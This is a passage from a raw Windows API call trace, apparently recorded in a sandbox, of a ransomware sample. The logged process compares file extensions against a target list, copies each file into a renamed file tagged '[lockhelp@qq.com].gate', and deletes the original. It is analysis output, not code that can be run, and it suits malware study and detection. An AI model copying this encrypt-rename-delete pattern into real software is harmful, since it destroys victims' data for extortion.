[0111.912] lstrlenW (lpString=".1cd") returned 4 [0111.912] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.912] lstrlenW (lpString=".jpg") returned 4 [0111.912] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.912] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0111.912] lstrlenW (lpString="Rotate2.ico") returned 11 [0111.912] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.912] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=894) returned 1 [0111.912] CloseHandle (hObject=0x330) returned 1 [0111.912] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0111.912] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.912] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.913] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.913] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.913] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.913] GetLastError () returned 0x0 [0111.913] ReadFile (in: hFile=0x330, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x37e, lpOverlapped=0x0) returned 1 [0112.031] WriteFile (in: hFile=0x32c, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x380, lpOverlapped=0x0) returned 1 [0112.032] ReadFile (in: hFile=0x330, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.032] WriteFile (in: hFile=0x32c, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xea, lpOverlapped=0x0) returned 1 [0112.032] SetEndOfFile (hFile=0x32c) returned 1 [0112.032] CloseHandle (hObject=0x32c) returned 1 [0112.033] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.033] SetEndOfFile (hFile=0x330) returned 1 [0112.034] CloseHandle (hObject=0x330) returned 1 [0112.034] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.035] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0112.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.066] lstrlenW (lpString=".doc") returned 4 [0112.066] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.066] lstrlenW (lpString=".docx") returned 5 [0112.066] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0112.066] lstrlenW (lpString=".pdf") returned 4 [0112.066] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.066] lstrlenW (lpString=".xls") returned 4 [0112.066] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.066] lstrlenW (lpString=".xlsx") returned 5 [0112.066] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0112.066] lstrlenW (lpString=".ppt") returned 4 [0112.066] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.066] lstrlenW (lpString=".zip") returned 4 [0112.067] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.067] lstrlenW (lpString=".rar") returned 4 [0112.067] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.067] lstrlenW (lpString=".bz2") returned 4 [0112.067] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.067] lstrlenW (lpString=".7z") returned 3 [0112.067] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.067] lstrlenW (lpString=".dbf") returned 4 [0112.067] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.067] lstrlenW (lpString=".1cd") returned 4 [0112.067] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.067] lstrlenW (lpString=".jpg") returned 4 [0112.067] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.067] lstrlenW (lpString=".doc") returned 4 [0112.067] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.067] lstrlenW (lpString=".docx") returned 5 [0112.067] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0112.067] lstrlenW (lpString=".pdf") returned 4 [0112.067] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.067] lstrlenW (lpString=".xls") returned 4 [0112.067] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.068] lstrlenW (lpString=".xlsx") returned 5 [0112.068] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0112.068] lstrlenW (lpString=".ppt") returned 4 [0112.068] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.068] lstrlenW (lpString=".zip") returned 4 [0112.068] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.068] lstrlenW (lpString=".rar") returned 4 [0112.068] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.068] lstrlenW (lpString=".bz2") returned 4 [0112.068] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.068] lstrlenW (lpString=".7z") returned 3 [0112.068] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.068] lstrlenW (lpString=".dbf") returned 4 [0112.068] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.068] lstrlenW (lpString=".1cd") returned 4 [0112.068] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0112.068] lstrlenW (lpString=".jpg") returned 4 [0112.068] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.068] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0112.069] lstrlenW (lpString="Rotate5.ico") returned 11 [0112.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0112.074] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=894) returned 1 [0112.074] CloseHandle (hObject=0x32c) returned 1 [0112.074] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0112.074] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0112.074] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.074] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0112.075] GetLastError () returned 0x0 [0112.075] ReadFile (in: hFile=0x32c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x37e, lpOverlapped=0x0) returned 1 [0112.414] WriteFile (in: hFile=0x314, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x380, lpOverlapped=0x0) returned 1 [0112.415] ReadFile (in: hFile=0x32c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.415] WriteFile (in: hFile=0x314, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xea, lpOverlapped=0x0) returned 1 [0112.415] SetEndOfFile (hFile=0x314) returned 1 [0112.415] CloseHandle (hObject=0x314) returned 1 [0112.416] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.416] SetEndOfFile (hFile=0x32c) returned 1 [0112.417] CloseHandle (hObject=0x32c) returned 1 [0112.417] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.418] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0112.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.502] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.502] lstrlenW (lpString=".doc") returned 4 [0112.502] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.502] lstrlenW (lpString=".docx") returned 5 [0112.502] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0112.502] lstrlenW (lpString=".pdf") returned 4 [0112.502] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.502] lstrlenW (lpString=".xls") returned 4 [0112.502] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.502] lstrlenW (lpString=".xlsx") returned 5 [0112.502] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0112.502] lstrlenW (lpString=".ppt") returned 4 [0112.502] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.502] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.502] lstrlenW (lpString=".zip") returned 4 [0112.502] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.502] lstrlenW (lpString=".rar") returned 4 [0112.503] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.503] lstrlenW (lpString=".bz2") returned 4 [0112.503] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.503] lstrlenW (lpString=".7z") returned 3 [0112.503] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.503] lstrlenW (lpString=".dbf") returned 4 [0112.503] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.503] lstrlenW (lpString=".1cd") returned 4 [0112.503] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.503] lstrlenW (lpString=".jpg") returned 4 [0112.503] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.503] lstrlenW (lpString=".doc") returned 4 [0112.503] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.503] lstrlenW (lpString=".docx") returned 5 [0112.503] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0112.503] lstrlenW (lpString=".pdf") returned 4 [0112.503] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.503] lstrlenW (lpString=".xls") returned 4 [0112.503] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.504] lstrlenW (lpString=".xlsx") returned 5 [0112.504] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0112.504] lstrlenW (lpString=".ppt") returned 4 [0112.504] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.504] lstrlenW (lpString=".zip") returned 4 [0112.504] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.504] lstrlenW (lpString=".rar") returned 4 [0112.504] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.504] lstrlenW (lpString=".bz2") returned 4 [0112.504] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.504] lstrlenW (lpString=".7z") returned 3 [0112.504] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.504] lstrlenW (lpString=".dbf") returned 4 [0112.504] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.504] lstrlenW (lpString=".1cd") returned 4 [0112.504] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0112.504] lstrlenW (lpString=".jpg") returned 4 [0112.504] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.505] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0112.505] lstrlenW (lpString="stop.ico") returned 8 [0112.505] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0113.035] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=10134) returned 1 [0113.035] CloseHandle (hObject=0x37c) returned 1 [0113.036] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0113.036] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.036] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0113.036] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.036] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.036] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0113.036] GetLastError () returned 0x0 [0113.036] ReadFile (in: hFile=0x37c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x2796, lpOverlapped=0x0) returned 1 [0113.146] WriteFile (in: hFile=0x380, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0113.147] ReadFile (in: hFile=0x37c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.147] WriteFile (in: hFile=0x380, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.147] SetEndOfFile (hFile=0x380) returned 1 [0113.148] CloseHandle (hObject=0x380) returned 1 [0113.148] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.148] SetEndOfFile (hFile=0x37c) returned 1 [0113.149] CloseHandle (hObject=0x37c) returned 1 [0113.149] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.149] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0113.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.150] lstrlenW (lpString=".doc") returned 4 [0113.150] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.150] lstrlenW (lpString=".docx") returned 5 [0113.150] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0113.150] lstrlenW (lpString=".pdf") returned 4 [0113.150] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.150] lstrlenW (lpString=".xls") returned 4 [0113.150] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.150] lstrlenW (lpString=".xlsx") returned 5 [0113.150] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0113.150] lstrlenW (lpString=".ppt") returned 4 [0113.150] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.150] lstrlenW (lpString=".zip") returned 4 [0113.150] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.150] lstrlenW (lpString=".rar") returned 4 [0113.150] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.150] lstrlenW (lpString=".bz2") returned 4 [0113.150] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.150] lstrlenW (lpString=".7z") returned 3 [0113.150] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.150] lstrlenW (lpString=".dbf") returned 4 [0113.150] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.151] lstrlenW (lpString=".1cd") returned 4 [0113.151] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.151] lstrlenW (lpString=".jpg") returned 4 [0113.151] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.151] lstrlenW (lpString=".doc") returned 4 [0113.151] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.151] lstrlenW (lpString=".docx") returned 5 [0113.151] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0113.151] lstrlenW (lpString=".pdf") returned 4 [0113.151] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.151] lstrlenW (lpString=".xls") returned 4 [0113.151] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.151] lstrlenW (lpString=".xlsx") returned 5 [0113.151] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0113.151] lstrlenW (lpString=".ppt") returned 4 [0113.151] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.151] lstrlenW (lpString=".zip") returned 4 [0113.151] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.151] lstrlenW (lpString=".rar") returned 4 [0113.151] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.151] lstrlenW (lpString=".bz2") returned 4 [0113.152] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.152] lstrlenW (lpString=".7z") returned 3 [0113.152] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.152] lstrlenW (lpString=".dbf") returned 4 [0113.152] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.152] lstrlenW (lpString=".1cd") returned 4 [0113.152] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0113.152] lstrlenW (lpString=".jpg") returned 4 [0113.152] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.152] lstrcmpiW (lpString1=".mzz", lpString2=".gate") returned 1 [0113.152] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0113.152] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0113.152] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=181483595) returned 1 [0113.152] CloseHandle (hObject=0x37c) returned 1 [0113.153] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0113.153] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.153] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0113.153] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0113.153] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc64 | out: lpNewFilePointer=0x0) returned 1 [0113.153] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0113.153] ReadFile (in: hFile=0x37c, lpBuffer=0x38b5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x38b5058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0113.222] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: 